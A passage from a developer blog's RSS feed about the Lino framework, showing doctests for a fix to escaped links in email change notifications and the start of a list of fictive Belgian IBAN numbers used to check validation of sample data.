&lt;span class="go"&gt;&amp;#39;&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Summary&amp;lt;/b&amp;gt; : Föö fails to bar when baz --&amp;amp;gt; foo&amp;lt;/li&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The reason for #5038 (Links in email notifications are escaped) on 2023-08-22
was that  the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="pre"&gt;href&lt;/span&gt; &lt;span class="pre"&gt;...&amp;gt;&lt;/span&gt;&lt;/code&gt; in the text returned by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_change_body()&lt;/span&gt;&lt;/code&gt;
was getting escaped. This is fixed now:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_change_body&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Robin Rood modified &amp;lt;a href=&amp;quot;/#/api/tickets/Tickets/1&amp;quot;&amp;gt;#1 (foo)&amp;lt;/a&amp;gt;:&amp;lt;/p&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Summary&amp;lt;/b&amp;gt; : Föö fails to bar when baz --&amp;amp;gt; foo&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That’s fun! Let’s repeat this for other objects in order to increase test
coverage!&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models_by_base&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ChangeNotifier&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;class &amp;#39;lino_noi.lib.cal.models.Event&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;lino_xl.lib.cal.models.Task&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;lino.modlib.comments.models.Comment&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;lino_noi.lib.groups.models.Group&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;lino_noi.lib.tickets.models.Site&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;lino_noi.lib.tickets.models.Ticket&amp;#39;&amp;gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;cw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ChangeWatcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_change_body&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="nb"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_change_body&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cw&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Robin Rood created &amp;lt;a href=&amp;quot;/#/api/tickets/Sites/1&amp;quot;&amp;gt;pypi&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;.&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Robin Rood modified &amp;lt;a href=&amp;quot;/#/api/tickets/Sites/1&amp;quot;&amp;gt;pypi&amp;lt;/a&amp;gt;:&amp;lt;/p&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Designation&amp;lt;/b&amp;gt; : pypi --&amp;amp;gt; Foo&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;start_time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Robin Rood created &amp;lt;a href=&amp;quot;/#/api/cal/Events/1&amp;quot;&amp;gt;New Year&amp;#39;s Day (01.01.2013)&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;.&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Robin Rood modified &amp;lt;a href=&amp;quot;/#/api/cal/Events/1&amp;quot;&amp;gt;New Year&amp;#39;s Day (01.01.2013 10:05)&amp;lt;/a&amp;gt;:&amp;lt;/p&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Start time&amp;lt;/b&amp;gt; : None --&amp;amp;gt; 10:05:00&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Robin Rood commented on &amp;lt;a href=&amp;quot;/#/api/groups/Groups/1&amp;quot;&amp;gt;Developers&amp;lt;/a&amp;gt;:&amp;lt;br&amp;gt;Styled comment &amp;lt;span&amp;gt;pasted from word!&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;Robin Rood modified comment on &amp;lt;a href=&amp;quot;/#/api/groups/Groups/1&amp;quot;&amp;gt;Developers&amp;lt;/a&amp;gt;:&amp;lt;br&amp;gt;Foo&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0822.html</guid><pubDate>Tue, 22 Aug 2023 00:00:00 +0000</pubDate></item><item><title>Friday, August 4, 2023</title><link>https://luc.lino-framework.org/blog/2023/0804.html</link><description>&lt;section id="friday-august-4-2023"&gt;
&lt;h1&gt;Friday, August 4, 2023&lt;a class="headerlink" href="#friday-august-4-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Most of the Belgian IBAN numbers in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sepa.fixtures.sample_ibans.html#module-lino_xl.lib.sepa.fixtures.sample_ibans" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa.fixtures.sample_ibans&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; were actually invalid. Their IBAN
check digit was correct, but the the programmers at &lt;a class="reference external" href="https://www.mobilefish.com/services/random_iban_generator/random_iban_generator.php"&gt;www.mobilefish.com&lt;/a&gt;
did not know that Belgian bank account numbers have their own check digit. I
wrote the following doctest snippet to show only IBANs that are really valid.
Statistically only one of 97 is valid. And indeed, I had to get 1000 fictive
IBANS from mobilefish in order to harvest 10 good ones.&lt;/p&gt;
&lt;p&gt;Edit 2023-08-06 Seems that Montenegro, Norway and Spain are like Belgium: they
have check digits in national bank account numbers. And &lt;cite&gt;django-localflavor&lt;/cite&gt; now
also knows about them. So I need to update our &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;sample_ibans.py&lt;/span&gt;&lt;/code&gt; file even
mode.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_book.projects.voga2.startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.core.exceptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;partner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;Account&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sepa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Account&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ibans&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE28724246719796 BE58483388989105 BE71734773678845 BE20174483803342&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE71350811436250 BE18795488614610 BE84858551943938 BE32541820604815&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE79203018402084 BE92227724179921 BE95657847530720 BE43887359333506&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE05869216347393 BE13716672918550 BE09501756025056 BE25343348640131&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE24862868507486 BE12202401892242 BE05430828656001 BE13677784802295&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE05194204714338 BE85616511999691 BE93229218900239 BE32527262674483&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE58067461123040 BE47884396692310 BE07364188327453 BE25882933953755&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE36743323765718 BE67225381485065 BE79188638158195 BE02873579557797&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE75032418043799 BE80296965174776 BE93322502171512 BE03181994160471&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE41414473568385 BE87770998218656 BE74850873948015 BE82345649175398&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE36315143736533 BE52849176505835 BE51427288306202 BE30999252618777&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE95100449016428 BE46137417838797 BE16140712719138 BE70559894379973&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE22338307655430 BE21744478962171 BE71698886383884 BE14776649354707&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE49293501559571 BE12917065059682 BE03224307739576 BE89614705334946&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE33025520765368 BE48644301836586 BE25869200566588 BE59398443056673&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE05700351013001 BE93089106618187 BE53872384563730 BE23239846666050&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE63289999168582 BE37977237425707 BE88226804784990 BE62994004047044&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE96595371107901 BE27828364925134 BE41039439267385 BE60693753310146&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE65327184565134 BE56614221337647 BE64494692585043 BE57105155123917&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE26284315602949 BE29591695872615 BE37959588257665 BE68987243668796&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE45339848048869 BE55790559805518 BE38848654741923 BE86388411676445&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE18815106158450 BE83243857077493 BE26079576344270 BE34909685347786&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE75136602618071 BE09595989391153 BE50000780506886 BE18764513455327&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE25895552585494 BE06894601004584 BE98588934438901 BE22603142434371&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE69478045723246 BE68355523201119 BE72921883510322 BE56680163678700&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE54800210387334 BE14602195879124 BE14111760055869 BE85541535832328&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE95454268362165 BE66224956682022 BE82747111508384 BE63097372245098&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE39017955198559 BE54141796986685 BE02386289845249 BE33165363312439&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE37048748480744 BE45544165675126 BE38554957819398 BE79623276881455&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE89898236136387 BE42243901851491 BE98072909887412 BE50952449538745&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE88119601752690 BE53064270609121 BE72120202551966 BE54073150762678&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE58021988213001 BE29111649250074 BE50400776918739 BE41431198043381&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE13404128585528 BE02397318558330 BE09840005458667 BE26552714094087&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE66871155598522 BE55230546253482 BE21081301568124 BE31819267452784&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE10602557401591 BE46110929739076 BE20492131301514 BE06175706664358&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE87036264021027 BE40388531141018 BE10956348136305 BE14060594535639&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE86406360676337 BE45186969681595 BE23081394358385 BE44153833882541&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE82056316229523 BE51971075990111 BE09123506186860 BE77163131178008&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE44094354583297 BE58515243244935 BE66527070962392 BE51455728344586&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE14422646024996 BE95285529423235 BE79997405640022 BE79515119267402&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE17294520366861 BE77659434470056 BE46437678380103 BE21046594839793&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE28707245492257 BE66772298074615 BE65591592700051 BE08417691719646&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE46994754655545 BE46994715585303 BE70198230882080 BE89786706663818&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE83147213038781 BE20919908416561 BE52084284322416 BE77062925956471&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE69926866200847 BE39971912183483 BE46152658693264 BE81995169644874&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE60541297944643 BE81613962507635 BE75396642852203 BE39331066339247&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE68091978629654 BE10201865242785 BE29955478077488 BE17642254548354&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE78928625319741 BE76481174443473 BE88340025424235 BE39782462763107&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE42030326767364 BE40507723623384 BE95378722370630 BE32565632366187&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE36584235476583 BE46097919593318 BE91461112302870 BE28205672095343&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE44195998043428 BE21861150713782 BE34066558619079 BE97495686032841&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE24085603932842 BE12765411817734 BE71455656640371 BE06549670794137&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE75287509344139 BE14676252110030 BE04451717299984 BE03246394845507&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE52172466880408 BE28716937619446 BE67463379563939 BE26163669550654&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE74247004641616 BE93792919154943 BE44476843358644 BE32260741612622&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE15221821872539 BE20963639239289 BE55251585703250 BE16605977455807&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE24087255453678 BE03547117460087 BE09256629686327 BE54447710192224&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE50492124412325 BE75667145882210 BE87564352495593 BE15419133819199&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE13832959147250 BE90566844867665 BE65829378217102 BE66603677788801&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE54701121538409 BE64342015916077 BE23494486625099 BE59284163752638&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE26972406338383 BE10475640265055 BE25014023940616 BE88208060378114&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE40489011420411 BE03101360800721 BE60875447503698 BE74686132563967&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE24247974947484 BE45664007197781 BE41890855214900 BE22692494338615&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE65276303082923 BE39366664679647 BE14787967528107 BE38852937497563&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE72731712721122 BE70295115332576 BE13736906734624 BE14707219749097&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE38564130991640 BE32670485850228 BE87280359733495 BE09783848971732&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE31687252082772 BE68438161760971 BE70173662148713 BE03082374528031&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE83893940225618 BE06136453008356 BE19585174098553 BE80974324128873&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE38868357557105 BE61037173495435 BE37691929441482 BE64299048243953&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE32337470091678 BE43413671573901 BE58146083846226 BE50340320986150&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE71333767856183 BE75309211783572 BE08409636850510 BE13695968136436&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE35656234032345 BE94450163311804 BE34650063295980 BE42745684004821&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE56453349648222 BE70288702006565 BE14131045229112 BE51529158472405&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE53810212784367 BE91780121995904 BE97703964669812 BE69549508879827&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE53501790349945 BE42536309052607 BE30020533437478 BE05514289019738&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE32235606513230 BE91338863643153 BE57638748841340 BE03932968735390&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE71038767281885 BE49745523130389 BE49284415413983 BE90358697467620&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE27618825406018 BE11497546600798 BE89240330084926 BE02740696876932&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE03164454824947 BE40316262308548 BE98597531902854 BE55540934033907&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE02915819629526 BE86106703272689 BE85475487383557 BE23136532831387&lt;/span&gt;
